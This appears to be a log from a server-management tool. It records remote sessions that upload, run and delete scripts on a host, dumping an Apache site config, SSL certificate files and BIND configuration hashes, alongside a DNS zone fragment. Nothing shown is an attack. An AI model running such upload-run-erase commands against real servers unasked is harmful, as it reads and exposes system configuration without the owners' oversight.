mail._domainkey          		 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxwxDyzsjHawWZqIzW4CXIinwR6ffikvpe/tIL/OsHMXeQKpqSYzL1ejRz6B9+PYCLGL1jXiVzY1L0TSDYxFi1URCUXLPKT479DYm+MQeJw4AS5da0Lozr72vS1TwUHBn5ikA4KpeLsDPY4rS3SYltt2ssUJvf5c2EJ5eSD9PVvFbeFGP9ln+4JqBmTGY" "apVA4mXPsup3VNE1eZFqDX35qi5ldDcqKbImY8+HpVguvG/vEp9XJCqRgspMrIm3wz9Gk5Umnjf24hrxMPYZXWRdYclwD7yVNb9Ma0+SstHVWWzJUsB8uibtClqCu2yqV3No3PKkTimCYAv56N8QbiR4KQIDAQAB"
www                      		 IN    CNAME    	dq-dev0f.ces-us.net






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= d19fe29fbd9c0fbcd6b4f0041cc48eda
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:24:46: Establishing a remote connection
2026-02-09 14:24:47: 

PUT: /pkp453960

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-09 14:24:47: 

chmod 755 /pkp453960; /pkp453960; rm /pkp453960





2026-02-09 14:24:48: 

PUT: /pkp242732

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/cityelectric_www_site.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 14:24:48: 

chmod 755 /pkp242732; /pkp242732; rm /pkp242732







STDERR:
rm: cannot remove '/pkp242732': No such file or directory


2026-02-09 14:24:49: 

PUT: /pkp103982

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt')
    show_file('/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 14:24:49: 

chmod 755 /pkp103982; /pkp103982; rm /pkp103982







STDERR:
rm: cannot remove '/pkp103982': No such file or directory


2026-02-09 14:24:50: Establishing a connection
2026-02-09 14:24:51: 

PUT: /tmp/pkp996084

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:24:51: 

runuser -l bind -s /bin/bash -c '/tmp/pkp996084; rm /tmp/pkp996084'

2026-02-09 14:24:51: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
